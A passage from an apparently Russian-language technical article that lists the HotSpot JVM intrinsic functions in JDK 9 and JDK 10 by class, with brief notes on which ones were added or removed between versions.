_identityHashCode java.lang.System.identityHashCode(Object)
_currentTimeMillis java.lang.System.currentTimeMillis()
_nanoTime java.lang.System.nanoTime()
_arraycopy java.lang.System.arraycopy(Object, int, Object, int, int)
```
### java.lang.Thread
```
_isInterrupted java.lang.Thread.isInterrupted(boolean)
_currentThread java.lang.Thread.currentThread()
_onSpinWait java.lang.Thread.onSpinWait()
```
В JDK 9 появился новый метод `onSpinWait` — реализация *busy waiting*.
### java.lang.Class
```
_isAssignableFrom java.lang.Class.isAssignableFrom(Class)
_isInstance java.lang.Class.isInstance(Object)
_getModifiers java.lang.Class.getModifiers()
_isInterface java.lang.Class.isInterface()
_isArray java.lang.Class.isArray()
_isPrimitive java.lang.Class.isPrimitive()
_getSuperclass java.lang.Class.getSuperclass()
_Class_cast java.lang.Class.cast(Object)
```
Удалена *intrinsic-функция* для `java.lang.Class.getComponentType()` (`getComponentType` перестал быть *native-методом*).
В JDK 9 добавлен *интринсик* для метода `cast`.
### Reflection
```
_getClassAccessFlags sun.reflect.Reflection.getClassAccessFlags(Class)
_getCallerClass sun.reflect.Reflection.getCallerClass()
_getLength java.lang.reflect.Array.getLength(Object)
_newArray java.lang.reflect.Array.newArray(Class, int)
_invoke java.lang.reflect.Method.invoke(Object, Object...)
```
### java.util.Arrays
```
_copyOf java.util.Arrays.copyOf(Object[], int, Class)
_copyOfRange java.util.Arrays.copyOfRange(Object[], int, int, Class)
_equalsC java.util.Arrays.equals(char[], char[])
_equalsB java.util.Arrays.equals(boolean[], boolean[])
```
В JDK 9 добавлен *intrinsic* для `java.util.Arrays.equals(boolean[], boolean[])`.
### StringUTF16 и StringLatin1
```
_compressStringC java.lang.StringUTF16.compress(char[], int, byte[], int, int)
_compressStringB java.lang.StringUTF16.compress(byte[], int, byte[], int, int)
_inflateStringC java.lang.StringLatin1.inflate(byte[], int, char[], int, int)
_inflateStringB java.lang.StringLatin1.inflate(byte[], int, byte[], int, int)
_toBytesStringU java.lang.StringUTF16.toBytes(char[], int, int)
_getCharsStringU java.lang.StringUTF16.getChars(byte[], int, int, char[], int)
_getCharStringU java.lang.StringUTF16.getChar(byte[], int)
_putCharStringU java.lang.StringUTF16.putChar(byte[] int, int)
_compareToL java.lang.StringLatin1.compareTo(byte[], byte[])
_compareToU java.lang.StringUTF16.compareTo(byte[], byte[])
_compareToLU java.lang.StringLatin1.compareToUTF16(byte[], byte[])
_compareToUL java.lang.StringUTF16.compareToLatin1(byte[], byte[])
_indexOfL java.lang.StringLatin1.indexOf(byte[], byte[])
_indexOfU java.lang.StringUTF16.indexOf(byte[], byte[])
_indexOfUL java.lang.StringUTF16.indexOfLatin1(byte[], byte[])
_indexOfIL java.lang.StringLatin1.indexOf(byte[], int, byte[], int, int)
_indexOfIU java.lang.StringUTF16.indexOf(byte[], int, byte[], int, int)
_indexOfIUL java.lang.StringUTF16.indexOfLatin1(byte[], int, byte[], int, int)
_indexOfU_char java.lang.StringUTF16.indexOfChar(byte[], int, int, int)
_equalsL java.lang.StringLatin1.equals(byte[], byte[])
_equalsU java.lang.StringUTF16.equals(byte[], byte[])
```
В связи с изменениями в классе `String` в JDK 9 — [JEP-254](http://openjdk.java.net/jeps/254), появились два новых класса `StringUTF16` и `StringLatin1`.
### jdk.internal.util.Preconditions
```
_Preconditions_checkIndex jdk.internal.util.Preconditions.checkIndex(int, int, java.util.function.BiFunction)
```
Новый класс в JDK 9 с разными вспомогательными методами. *Интринсик* добавлен для метода проверки попадания значения в заданные границы.
### java.lang.StringCoding
```
_hasNegatives java.lang.StringCoding.hasNegatives(byte[], int, int)
_encodeByteISOArray java.lang.StringCoding.encodeISOArray(byte[], int, byte[], int, int)
```
Ещё один новый класс в JDK 9.
### java.lang.String
```
_String_String java.lang.String(String)
```
Удалены прочие *intrinsic-функции* (`_compareTo`, `_equals`, `_indexOf`), т.к. реализация соответствующих методов перешла к классам `StringUTF16` и `StringLatin1`. Подробнее об изменениях в классе `String` в [JEP-254](http://openjdk.java.net/jeps/254).
### java.nio.Buffer
```
_checkIndex java.nio.Buffer.checkIndex(int)
```
### sun.nio.cs.ISO\_8859\_1$Encoder
```
_encodeISOArray sun.nio.cs.ISO_8859_1.Encoder.encodeISOArray(char[], int, byte[], int, int)
```
В JDK 9 подвергся рефакторингу класс `sun.nio.cs.ISO_8859_1$Encoder`: был добавлен новый метод `implEncodeISOArray`, старый *интринсик* привязан к новому методу.
### java.math.BigInteger
```
_multiplyToLen java.math.BigInteger.multiplyToLen(int[], int, int[], int, int[])
_squareToLen java.math.BigInteger.squareToLen(int[], int, int[], int)
_mulAdd java.math.BigInteger.mulAdd(int[], int[], int, int, int)
_montgomeryMultiply java.math.BigInteger.montgomeryMultiply(int[], int[], int[], int, long, int[])
_montgomerySquare java.math.BigInteger.montgomerySquare(int[], int[], int, long, int[])
```
### java.util.ArraysSupport
```
_vectorizedMismatch java.util.ArraysSupport.vectorizedMismatch(Object, long, Object, long, int, int)
```
Новый класс в JDK 9.
### java.lang.ref.Reference
```
_Reference_get java.lang.ref.Reference.get()
```
### Cryptography
```
_aescrypt_encryptBlock com.sun.crypto.provider.AESCrypt.encryptBlock(byte[], in, byte[], int)
_aescrypt_decryptBlock com.sun.crypto.provider.AESCrypt.decryptBlock(byte[], in, byte[], int)
_cipherBlockChaining_encryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.encrypt(byte[], int, int, byte[], int)
_cipherBlockChaining_decryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.decrypt(byte[], int, int, byte[], int)
_counterMode_AESCrypt com.sun.crypto.provider.CounterMode.implCrypt(byte[], int, int, byte[], int)
_ghash_processBlocks com.sun.crypto.provider.GHASH.processBlocks(byte[], int, int, long[], long[])
```
В JDK 9 реализация метода `CounterMode.crypt()` вынесена в метод `implCrypt` с добавлением *интринсика*. Аналогичным образом отрефакторен `GHASH`.
### sun.security.provider.\*
```
_sha_implCompress sun.security.provider.SHA.implCompress(byte[], int)
_sha2_implCompress sun.security.provider.SHA2.implCompress(byte[], int)
_sha5_implCompress sun.security.provider.SHA5.implCompress(byte[], int)
_digestBase_implCompressMB sun.security.provider.DigestBase.implCompressMultiBlock0(byte[], int, int)
```
Рефакторинг `DigestBase` в JDK 9.
### java.util.zip.CRC32 и java.util.zip.CRC32C
```
_updateCRC32 java.util.zip.CRC32.update(int2_int_signature)
_updateBytesCRC32 java.util.zip.CRC32.updateBytes0(updateBytes_signature)
_updateByteBufferCRC32 java.util.zip.CRC32.updateByteBuffer0(updateByteBuffer_signature)
_updateBytesCRC32C java.util.zip.CRC32C.updateBytes(int, byte[], int, int)
_updateDirectByteBufferCRC32C java.util.zip.CRC32C.updateDirectByteBuffer(int, long, int, int)
_updateBytesAdler32 java.util.zip.Adler32.updateBytes(int, byte[], int, int)
_updateByteBufferAdler32 java.util.zip.Adler32.updateByteBuffer(int, long, int, int)
```
Ещё код, подвергшийся рефакторингу в JDK 9.
Новый класс `java.util.zip.CRC32C`.
### jdk.internal.misc.Unsafe
```
_allocateInstance jdk.internal.misc.Unsafe.allocateInstance(Class)
_allocateUninitializedArray jdk.internal.misc.Unsafe.allocateUninitializedArray0(Class, int)
_copyMemory jdk.internal.misc.Unsafe.copyMemory0(Object, long, Object, long, long)
_park jdk.internal.misc.Unsafe.park(boolean, long)
_unpark jdk.internal.misc.Unsafe.unpark(Object)
_loadFence jdk.internal.misc.Unsafe.loadFence()
_storeFence jdk.internal.misc.Unsafe.storeFence()
_fullFence jdk.internal.misc.Unsafe.fullFence()
_getObject jdk.internal.misc.Unsafe.getObject(Object, long)
_getBoolean jdk.internal.misc.Unsafe.getBoolean(Object, long)
_getByte jdk.internal.misc.Unsafe.getByte(Object, long)
_getShort jdk.internal.misc.Unsafe.getShort(Object, long)
_getChar jdk.internal.misc.Unsafe.getChar(Object, long)
_getInt jdk.internal.misc.Unsafe.getInt(Object, long)
_getLong jdk.internal.misc.Unsafe.getLong(Object, long)
_getFloat jdk.internal.misc.Unsafe.getFloat(Object, long)
_getDouble jdk.internal.misc.Unsafe.getDouble(Object, long)
_putObject jdk.internal.misc.Unsafe.putObject(Object, long, Object)
_putBoolean jdk.internal.misc.Unsafe.putBoolean(Object, long, boolean)
_putByte jdk.internal.misc.Unsafe.putByte(Object, long, byte)
_putShort jdk.internal.misc.Unsafe.putShort(Object, long, short)
_putChar jdk.internal.misc.Unsafe.putChar(Object, long, char)
_putInt jdk.internal.misc.Unsafe.putInt(Object, long, int)
_putLong jdk.internal.misc.Unsafe.putLong(Object, long, long)
_putFloat jdk.internal.misc.Unsafe.putFloat(Object, long, float)
_putDouble jdk.internal.misc.Unsafe.putDouble(Object, long, double)
_getObjectVolatile jdk.internal.misc.Unsafe.getObjectVolatile(Object, long)
_getBooleanVolatile jdk.internal.misc.Unsafe.getBooleanVolatile(Object, long)
_getByteVolatile jdk.internal.misc.Unsafe.getByteVolatile(Object, long)
_getShortVolatile jdk.internal.misc.Unsafe.getShortVolatile(Object, long)
_getCharVolatile jdk.internal.misc.Unsafe.getCharVolatile(Object, long)
_getIntVolatile jdk.internal.misc.Unsafe.getIntVolatile(Object, long)
_getLongVolatile jdk.internal.misc.Unsafe.getLongVolatile(Object, long)
_getFloatVolatile jdk.internal.misc.Unsafe.getFloatVolatile(Object, long)
_getDoubleVolatile jdk.internal.misc.Unsafe.getDoubleVolatile(Object, long)
_putObjectVolatile jdk.internal.misc.Unsafe.putObjectVolatile(Object, long, Object)
_putBooleanVolatile jdk.internal.misc.Unsafe.putBooleanVolatile(Object, long, boolean)
_putByteVolatile jdk.internal.misc.Unsafe.putByteVolatile(Object, long, byte)
_putShortVolatile jdk.internal.misc.Unsafe.putShortVolatile(Object, long, short)
_putCharVolatile jdk.internal.misc.Unsafe.putCharVolatile(Object, long, char)
_putIntVolatile jdk.internal.misc.Unsafe.putIntVolatile(Object, long, int)
_putLongVolatile jdk.internal.misc.Unsafe.putLongVolatile(Object, long, long)
_putFloatVolatile jdk.internal.misc.Unsafe.putFloatVolatile(Object, long, float)
_putDoubleVolatile jdk.internal.misc.Unsafe.putDoubleVolatile(Object, long, double)
_getObjectOpaque jdk.internal.misc.Unsafe.getObjectOpaque(Object, long)
_getBooleanOpaque jdk.internal.misc.Unsafe.getBooleanOpaque(Object, long)
_getByteOpaque jdk.internal.misc.Unsafe.getByteOpaque(Object, long)
_getShortOpaque jdk.internal.misc.Unsafe.getShortOpaque(Object, long)
_getCharOpaque jdk.internal.misc.Unsafe.getCharOpaque(Object, long)
_getIntOpaque jdk.internal.misc.Unsafe.getIntOpaque(Object, long)
_getLongOpaque jdk.internal.misc.Unsafe.getLongOpaque(Object, long)
_getFloatOpaque jdk.internal.misc.Unsafe.getFloatOpaque(Object, long)
_getDoubleOpaque jdk.internal.misc.Unsafe.getDoubleOpaque(Object, long)
_putObjectOpaque jdk.internal.misc.Unsafe.putObjectOpaque(Object, long, Object)
_putBooleanOpaque jdk.internal.misc.Unsafe.putBooleanOpaque(Object, long, boolean)
_putByteOpaque jdk.internal.misc.Unsafe.putByteOpaque(Object, long, byte)
_putShortOpaque jdk.internal.misc.Unsafe.putShortOpaque(Object, long, short)
_putCharOpaque jdk.internal.misc.Unsafe.putCharOpaque(Object, long, char)
_putIntOpaque jdk.internal.misc.Unsafe.putIntOpaque(Object, long, int)
_putLongOpaque jdk.internal.misc.Unsafe.putLongOpaque(Object, long, long)
_putFloatOpaque jdk.internal.misc.Unsafe.putFloatOpaque(Object, long, float)
_putDoubleOpaque jdk.internal.misc.Unsafe.putDoubleOpaque(Object, long, double)
_getObjectAcquire jdk.internal.misc.Unsafe.getObjectAcquire(Object, long)
_getBooleanAcquire jdk.internal.misc.Unsafe.getBooleanAcquire(Object, long)
_getByteAcquire jdk.internal.misc.Unsafe.getByteAcquire(Object, long)
_getShortAcquire jdk.internal.misc.Unsafe.getShortAcquire(Object, long)
_getCharAcquire jdk.internal.misc.Unsafe.getCharAcquire(Object, long)
_getIntAcquire jdk.internal.misc.Unsafe.getIntAcquire(Object, long)
_getLongAcquire jdk.internal.misc.Unsafe.getLongAcquire(Object, long)
_getFloatAcquire jdk.internal.misc.Unsafe.getFloatAcquire(Object, long)
_getDoubleAcquire jdk.internal.misc.Unsafe.getDoubleAcquire(Object, long)
_putObjectAcquire jdk.internal.misc.Unsafe.putObjectAcquire(Object, long, Object)
_putBooleanAcquire jdk.internal.misc.Unsafe.putBooleanAcquire(Object, long, boolean)
_putByteAcquire jdk.internal.misc.Unsafe.putByteAcquire(Object, long, byte)
_putShortAcquire jdk.internal.misc.Unsafe.putShortAcquire(Object, long, short)
_putCharAcquire jdk.internal.misc.Unsafe.putCharAcquire(Object, long, char)
_putIntAcquire jdk.internal.misc.Unsafe.putIntAcquire(Object, long, int)
_putLongAcquire jdk.internal.misc.Unsafe.putLongAcquire(Object, long, long)
_putFloatAcquire jdk.internal.misc.Unsafe.putFloatAcquire(Object, long, float)
_putDoubleAcquire jdk.internal.misc.Unsafe.putDoubleAcquire(Object, long, double)
_getShortUnaligned jdk.internal.misc.Unsafe.getShortUnaligned(Object, long)
_getCharUnaligned jdk.internal.misc.Unsafe.getCharUnaligned(Object, long)
_getIntUnaligned jdk.internal.misc.Unsafe.getIntUnaligned(Object, long)
_getLongUnaligned jdk.internal.misc.Unsafe.getLongUnaligned(Object, long)
_putShortUnaligned jdk.internal.misc.Unsafe.putShortUnaligned(Object, long, short)
_putCharUnaligned jdk.internal.misc.Unsafe.putCharUnaligned(Object, long, char)
_putIntUnaligned jdk.internal.misc.Unsafe.putIntUnaligned(Object, long, int)
_putLongUnaligned jdk.internal.misc.Unsafe.putLongUnaligned(Object, long, long)
_compareAndSetObject jdk.internal.misc.Unsafe.compareAndSetObject(Object, long, Object, Object)
_compareAndExchangeObject jdk.internal.misc.Unsafe.compareAndExchangeObject(Object, long, Object, Object)
_compareAndExchangeObjectAcquire jdk.internal.misc.Unsafe.compareAndExchangeObjectAcquire(Object, long, Object, Object)
_compareAndExchangeObjectRelease jdk.internal.misc.Unsafe.compareAndExchangeObjectRelease(Object, long, Object, Object)
_compareAndSetLong jdk.internal.misc.Unsafe.compareAndSetLong(Object, long, long, long)
_compareAndExchangeLong jdk.internal.misc.Unsafe.compareAndExchangeLong(Object, long, long, long)
_compareAndExchangeLongAcquire jdk.internal.misc.Unsafe.compareAndExchangeLongAcquire(Object, long, long, long)
_compareAndExchangeLongRelease jdk.internal.misc.Unsafe.compareAndExchangeLongRelease(Object, long, long, long)
_compareAndSetInt jdk.internal.misc.Unsafe.compareAndSetInt(Object, long, int, int)
_compareAndExchangeInt jdk.internal.misc.Unsafe.compareAndExchangeInt(Object, long, int, int)
_compareAndExchangeIntAcquire jdk.internal.misc.Unsafe.compareAndExchangeIntAcquire(Object, long, int, int)
_compareAndExchangeIntRelease jdk.internal.misc.Unsafe.compareAndExchangeIntRelease(Object, long, int, int)
_compareAndSetByte jdk.internal.misc.Unsafe.compareAndSetByte(Object, long, byte, byte)
_compareAndExchangeByte jdk.internal.misc.Unsafe.compareAndExchangeByte(Object, long, byte, byte)
_compareAndExchangeByteAcquire jdk.internal.misc.Unsafe.compareAndExchangeByteAcquire(Object, long, byte, byte)
_compareAndExchangeByteRelease jdk.internal.misc.Unsafe.compareAndExchangeByteRelease(Object, long, byte, byte)
_compareAndSetShort jdk.internal.misc.Unsafe.compareAndSetShort(Object, long, short, short)
_compareAndExchangeShort jdk.internal.misc.Unsafe.compareAndExchangeShort(Object, long, short, short)
_compareAndExchangeShortAcquire jdk.internal.misc.Unsafe.compareAndExchangeShortAcquire(Object, long, short, short)
_compareAndExchangeShortRelease jdk.internal.misc.Unsafe.compareAndExchangeShortRelease(Object, long, short, short)
_weakCompareAndSetObjectPlain jdk.internal.misc.Unsafe.weakCompareAndSetObjectPlain(Object, long, Object, Object)
_weakCompareAndSetObjectAcquire jdk.internal.misc.Unsafe.weakCompareAndSetObjectAcquire(Object, long, Object, Object)
_weakCompareAndSetObjectRelease jdk.internal.misc.Unsafe.weakCompareAndSetObjectRelease(Object, long, Object, Object)
_weakCompareAndSetObject jdk.internal.misc.Unsafe.weakCompareAndSetObject(Object, long, Object, Object)
_weakCompareAndSetLongPlain jdk.internal.misc.Unsafe.weakCompareAndSetLongPlain(Object, long, long, long)
_weakCompareAndSetLongAcquire jdk.internal.misc.Unsafe.weakCompareAndSetLongAcquire(Object, long, long, long)
_weakCompareAndSetLongRelease jdk.internal.misc.Unsafe.weakCompareAndSetLongRelease(Object, long, long, long)
_weakCompareAndSetLong jdk.internal.misc.Unsafe.weakCompareAndSetLong(Object, long, long, long)
_weakCompareAndSetIntPlain jdk.internal.misc.Unsafe.weakCompareAndSetIntPlain(Object, long, int, int)
_weakCompareAndSetIntAcquire jdk.internal.misc.Unsafe.weakCompareAndSetIntAcquire(Object, long, int, int)
_weakCompareAndSetIntRelease jdk.internal.misc.Unsafe.weakCompareAndSetIntRelease(Object, long, int, int)
_weakCompareAndSetInt jdk.internal.misc.Unsafe.weakCompareAndSetInt(Object, long, int, int)
_weakCompareAndSetBytePlain jdk.internal.misc.Unsafe.weakCompareAndSetBytePlain(Object, long, byte, byte)
_weakCompareAndSetByteAcquire jdk.internal.misc.Unsafe.weakCompareAndSetByteAcquire(Object, long, byte, byte)
_weakCompareAndSetByteRelease jdk.internal.misc.Unsafe.weakCompareAndSetByteRelease(Object, long, byte, byte)
_weakCompareAndSetByte jdk.internal.misc.Unsafe.weakCompareAndSetByte(Object, long, byte, byte)
_weakCompareAndSetShortPlain jdk.internal.misc.Unsafe.weakCompareAndSetShortPlain(Object, long, short, short)
_weakCompareAndSetShortAcquire jdk.internal.misc.Unsafe.weakCompareAndSetShortAcquire(Object, long, short, short)
_weakCompareAndSetShortRelease jdk.internal.misc.Unsafe.weakCompareAndSetShortRelease(Object, long, short, short)
_weakCompareAndSetShort jdk.internal.misc.Unsafe.weakCompareAndSetShort(Object, long, short, short)
_getAndAddInt jdk.internal.misc.Unsafe.getAndAddInt(Object, long, int)
_getAndAddLong jdk.internal.misc.Unsafe.getAndAddLong(Object, long, long)
_getAndAddByte jdk.internal.misc.Unsafe.getAndAddByte(Object, long, byte)
_getAndAddShort jdk.internal.misc.Unsafe.getAndAddShort(Object, long, short)
_getAndSetInt jdk.internal.misc.Unsafe.getAndSetInt(Object, long, int)
_getAndSetLong jdk.internal.misc.Unsafe.getAndSetLong(Object, long, int)
_getAndSetByte jdk.internal.misc.Unsafe.getAndSetByte(Object, long, byte)
_getAndSetShort jdk.internal.misc.Unsafe.getAndSetShort(Object, long, short)
_getAndSetObject jdk.internal.misc.Unsafe.getAndSetObject(Object, long, Object)
```
Класс `sun.misc.Unsafe` переехал в другой пакет — `jdk.internal.misc.Unsafe`, также был сильно переработан. Добавлено большое число *интринсиков*.
### lava.lang.Throwable
Из JDK 9 удалена intrinsic-функция для `Throwable.fillInStackTrace()`.
### java.lang.StringBuilder
```
_StringBuilder_void java.lang.StringBuilder()
_StringBuilder_int java.lang.StringBuilder(int)
_StringBuilder_String java.lang.StringBuilder(String)
_StringBuilder_append_char java.lang.StringBuilder.append(char)
_StringBuilder_append_int java.lang.StringBuilder.append(int)
_StringBuilder_append_String java.lang.StringBuilder.append(String)
_StringBuilder_toString java.lang.StringBuilder.toString()
```
### java.lang.StringBuffer
```
_StringBuffer_void java.lang.StringBuffer()
_StringBuffer_int java.lang.StringBuffer(int)
_StringBuffer_String java.lang.StringBuffer(String)
_StringBuffer_append_char java.lang.StringBuffer.append(char)
_StringBuffer_append_int java.lang.StringBuffer.append(int)
_StringBuffer_append_String java.lang.StringBuffer.append(String)
_StringBuffer_toString java.lang.StringBuffer.toString()
```
### java.lang.invoke.MethodHandle
```
_invokeGeneric java.lang.invoke.MethodHandle.invoke*
_invokeBasic java.lang.invoke.MethodHandle.invokeBasic*
_linkToVirtual java.lang.invoke.MethodHandle.linkToVirtual*
_linkToStatic java.lang.invoke.MethodHandle.linkToStatic*
_linkToSpecial java.lang.invoke.MethodHandle.linkToSpecial*
_linkToInterface java.lang.invoke.MethodHandle.linkToInterface*
_compiledLambdaForm java.lang.invoke.MethodHandle.\*
\_profileBoolean java.lang.invoke.MethodHandleImpl.profileBoolean(boolean, int[])
\_isCompileConstant java.lang.invoke.MethodHandleImpl.isCompileConstant(Object)
```
Новый метод `java.lang.invoke.MethodHandleImpl.isCompileConstant()`.
### Boxing и Unboxing
```
_booleanValue java.lang.Boolean.booleanValue()
_byteValue java.lang.Byte.byteValue()
_charValue java.lang.Character.charValue()
_shortValue java.lang.Short.shortValue()
_intValue java.lang.Integer.intValue()
_longValue java.lang.Long.longValue()
_floatValue java.lang.Float.floatValue()
_doubleValue java.lang.Double.doubleValue()
_Boolean_valueOf java.lang.Boolean.valueOf(boolean)
_Byte_valueOf java.lang.Byte.valueOf(byte)
_Character_valueOf java.lang.Character.valueOf(char)
_Short_valueOf java.lang.Short.valueOf(short)
_Integer_valueOf java.lang.Integer.valueOf(int)
_Long_valueOf java.lang.Long.valueOf(long)
_Float_valueOf java.lang.Float.valueOf(float)
_Double_valueOf java.lang.Double.valueOf(double)
```
### java.util.stream.StreamsRangeIntSpliterator
```
_forEachRemaining java_util_stream_StreamsRangeIntSpliterator.forEachRemaining(java.util.function.IntConsumer)
```
В JDK 9 появился *интринсик* для метода `StreamRangeIntSpliterator.forEachRemaining`.
Intrinsic-функции в JDK 10
--------------------------
В JDK 10 количество *интринсиков* не изменилось и полностью совпадает с JDK 9.
**Intrinsic-функции в JDK 10**### java.lang.Object
```
_hashCode java.lang.Object.hashCode()
_getClass java.lang.Object.getClass()
_clone java.lang.Object.clone()
_notify java.lang.Object.notify()
_notifyAll java.lang.Object.notifyAll()
_Object_init java.lang.Object()
```
### java.lang.Math
```
_dabs java.lang.Math.abs(double)
_dsin java.lang.Math.sin(double)
_dcos java.lang.Math.cos(double)
_dtan java.lang.Math.tan(double)
_datan2 java.lang.Math.atan2(double, double)
_dsqrt java.lang.Math.sqrt(double)
_dlog java.lang.Math.log(double)
_dlog10 java.lang.Math.log10(double)
_dpow java.lang.Math.pow(double, double)
_dexp java.lang.Math.exp(double)
_min java.lang.Math.min(int, int)
_max java.lang.Math.max(int, int)
_addExactI java.lang.Math.addExact(int, int)
_addExactL java.lang.Math.addExact(long, long)
_decrementExactI java.lang.Math.decrementExact(int)
_decrementExactL java.lang.Math.decrementExact(long)
_incrementExactI java.lang.Math.incrementExact(int)
_incrementExactL java.lang.Math.incrementExact(long)
_multiplyExactI java.lang.Math.multiplyExact(int, int)
_multiplyExactL java.lang.Math.multiplyExact(long, long)
_negateExactI java.lang.Math.negateExact(int)
_negateExactL java.lang.Math.negateExact(long)
_subtractExactI java.lang.Math.subtractExact(int, int)
_subtractExactL java.lang.Math.subtractExact(long, long)
_fmaD java.lang.Math.fma(double, double, double)
_fmaF java.lang.Math.fma(float, float, float)
```
### Double, Float
```
_floatToRawIntBits java.lang.Float.floatToRawIntBits(float)
_floatToIntBits java.lang.Float.floatToIntBits(float)
_intBitsToFloat java.lang.Float.intBitsToFloat(int)
_doubleToRawLongBits java.lang.Double.doubleToRawLongBits(double)
_doubleToLongBits java.lang.Double.doubleToLongBits(double)
_longBitsToDouble java.lang.Double.longBitsToDouble(long)
```
### Integer, Long, Character, Short
```
_numberOfLeadingZeros_i java.lang.Integer.numberOfLeadingZeros(int)
_numberOfLeadingZeros_l java.lang.Long.numberOfLeadingZeros(long)
_numberOfTrailingZeros_i java.lang.Integer.numberOfTrailingZeros(int)
_numberOfTrailingZeros_l java.lang.Long.numberOfTrailingZeros(long)
_bitCount_i java.lang.Integer.bitCount(int)
_bitCount_l java.lang.Long.bitCount(long)
_reverseBytes_i java.lang.Integer.reverseBytes(int)
_reverseBytes_l java.lang.Long.reverseBytes(long)
_reverseBytes_c java.lang.Character.reverseBytes(char)
_reverseBytes_s java.lang.Short.reverseBytes(short)
_Integer_toString java.lang.Integer.toString(int)
```
### java.lang.System
```
_identityHashCode java.lang.System.identityHashCode(Object)
_currentTimeMillis java.lang.System.currentTimeMillis()
_nanoTime java.lang.System.nanoTime()
_arraycopy java.lang.System.arraycopy(Object, int, Object, int, int)
```
### java.lang.Thread
```
_isInterrupted java.lang.Thread.isInterrupted(boolean)
_currentThread java.lang.Thread.currentThread()
_onSpinWait java.lang.Thread.onSpinWait()
```
### java.lang.Class
```
_isAssignableFrom java.lang.Class.isAssignableFrom(Class)
_isInstance java.lang.Class.isInstance(Object)
_getModifiers java.lang.Class.getModifiers()
_isInterface java.lang.Class.isInterface()
_isArray java.lang.Class.isArray()
_isPrimitive java.lang.Class.isPrimitive()
_getSuperclass java.lang.Class.getSuperclass()
_Class_cast java.lang.Class.cast(Object)
```
### Reflection
```
_getClassAccessFlags sun.reflect.Reflection.getClassAccessFlags(Class)
_getCallerClass sun.reflect.Reflection.getCallerClass()
_getLength java.lang.reflect.Array.getLength(Object)
_newArray java.lang.reflect.Array.newArray(Class, int)
_invoke java.lang.reflect.Method.invoke(Object, Object...)
```
### java.util.Arrays
```
_copyOf java.util.Arrays.copyOf(Object[], int, Class)
_copyOfRange java.util.Arrays.copyOfRange(Object[], int, int, Class)
_equalsC java.util.Arrays.equals(char[], char[])
_equalsB java.util.Arrays.equals(boolean[], boolean[])
```
### StringUTF16 и StringLatin1
```
_compressStringC java.lang.StringUTF16.compress(char[], int, byte[], int, int)
_compressStringB java.lang.StringUTF16.compress(byte[], int, byte[], int, int)
_inflateStringC java.lang.StringLatin1.inflate(byte[], int, char[], int, int)
_inflateStringB java.lang.StringLatin1.inflate(byte[], int, byte[], int, int)
_toBytesStringU java.lang.StringUTF16.toBytes(char[], int, int)
_getCharsStringU java.lang.StringUTF16.getChars(byte[], int, int, char[], int)
_getCharStringU java.lang.StringUTF16.getChar(byte[], int)
_putCharStringU java.lang.StringUTF16.putChar(byte[] int, int)
_compareToL java.lang.StringLatin1.compareTo(byte[], byte[])
_compareToU java.lang.StringUTF16.compareTo(byte[], byte[])
_compareToLU java.lang.StringLatin1.compareToUTF16(byte[], byte[])
_compareToUL java.lang.StringUTF16.compareToLatin1(byte[], byte[])
_indexOfL java.lang.StringLatin1.indexOf(byte[], byte[])
_indexOfU java.lang.StringUTF16.indexOf(byte[], byte[])
_indexOfUL java.lang.StringUTF16.indexOfLatin1(byte[], byte[])
_indexOfIL java.lang.StringLatin1.indexOf(byte[], int, byte[], int, int)
_indexOfIU java.lang.StringUTF16.indexOf(byte[], int, byte[], int, int)
_indexOfIUL java.lang.StringUTF16.indexOfLatin1(byte[], int, byte[], int, int)
_indexOfU_char java.lang.StringUTF16.indexOfChar(byte[], int, int, int)
_equalsL java.lang.StringLatin1.equals(byte[], byte[])
_equalsU java.lang.StringUTF16.equals(byte[], byte[])
```
### jdk.internal.util.Preconditions
```
_Preconditions_checkIndex jdk.internal.util.Preconditions.checkIndex(int, int, java.util.function.BiFunction)
```
### java.lang.StringCoding
```
_hasNegatives java.lang.StringCoding.hasNegatives(byte[], int, int)
_encodeByteISOArray java.lang.StringCoding.encodeISOArray(byte[], int, byte[], int, int)
```
### java.lang.String
```
_String_String java.lang.String(String)
```
### java.nio.Buffer
```
_checkIndex java.nio.Buffer.checkIndex(int)
```
### sun.nio.cs.ISO\_8859\_1$Encoder
```
_encodeISOArray sun.nio.cs.ISO_8859_1.Encoder.encodeISOArray(char[], int, byte[], int, int)
```
### java.math.BigInteger
```
_multiplyToLen java.math.BigInteger.multiplyToLen(int[], int, int[], int, int[])
_squareToLen java.math.BigInteger.squareToLen(int[], int, int[], int)
_mulAdd java.math.BigInteger.mulAdd(int[], int[], int, int, int)
_montgomeryMultiply java.math.BigInteger.montgomeryMultiply(int[], int[], int[], int, long, int[])
_montgomerySquare java.math.BigInteger.montgomerySquare(int[], int[], int, long, int[])
```
### java.util.ArraysSupport
```
_vectorizedMismatch java.util.ArraysSupport.vectorizedMismatch(Object, long, Object, long, int, int)
```
### java.lang.ref.Reference
```
_Reference_get java.lang.ref.Reference.get()
```
### Cryptography
```
_aescrypt_encryptBlock com.sun.crypto.provider.AESCrypt.encryptBlock(byte[], in, byte[], int)
_aescrypt_decryptBlock com.sun.crypto.provider.AESCrypt.decryptBlock(byte[], in, byte[], int)
_cipherBlockChaining_encryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.encrypt(byte[], int, int, byte[], int)
_cipherBlockChaining_decryptAESCrypt com.sun.crypto.provider.CipherBlockChaining.decrypt(byte[], int, int, byte[], int)
_counterMode_AESCrypt com.sun.crypto.provider.CounterMode.implCrypt(byte[], int, int, byte[], int)
_ghash_processBlocks com.sun.crypto.provider.GHASH.processBlocks(byte[], int, int, long[], long[])
```
### sun.security.provider.\*
```
_sha_implCompress sun.security.provider.SHA.implCompress(byte[], int)
_sha2_implCompress sun.security.provider.SHA2.implCompress(byte[], int)
_sha5_implCompress sun.security.provider.SHA5.implCompress(byte[], int)
_digestBase_implCompressMB sun.security.provider.DigestBase.implCompressMultiBlock0(byte[], int, int)
```
### java.util.zip.CRC32 и java.util.zip.CRC32C
```
_updateCRC32 java.util.zip.CRC32.update(int2_int_signature)
_updateBytesCRC32 java.util.zip.CRC32.updateBytes0(updateBytes_signature)
_updateByteBufferCRC32 java.util.zip.CRC32.updateByteBuffer0(updateByteBuffer_signature)
_updateBytesCRC32C java.util.zip.CRC32C.updateBytes(int, byte[], int, int)
_updateDirectByteBufferCRC32C java.util.zip.CRC32C.updateDirectByteBuffer(int, long, int, int)
_updateBytesAdler32 java.util.zip.Adler32.updateBytes(int, byte[], int, int)
_updateByteBufferAdler32 java.util.zip.Adler32.updateByteBuffer(int, long, int, int)
```
### jdk.internal.misc.Unsafe
```
_allocateInstance jdk.internal.misc.Unsafe.allocateInstance(Class)
